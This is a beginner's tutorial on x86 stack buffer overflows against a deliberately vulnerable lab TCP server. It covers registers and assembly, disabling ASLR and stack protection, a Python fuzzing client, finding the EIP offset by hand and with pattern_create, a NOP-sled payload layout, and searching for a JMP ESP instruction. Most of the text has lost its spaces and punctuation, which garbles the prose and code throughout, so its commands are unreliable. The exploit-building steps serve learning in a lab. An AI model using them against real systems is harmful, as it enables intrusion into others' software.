IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
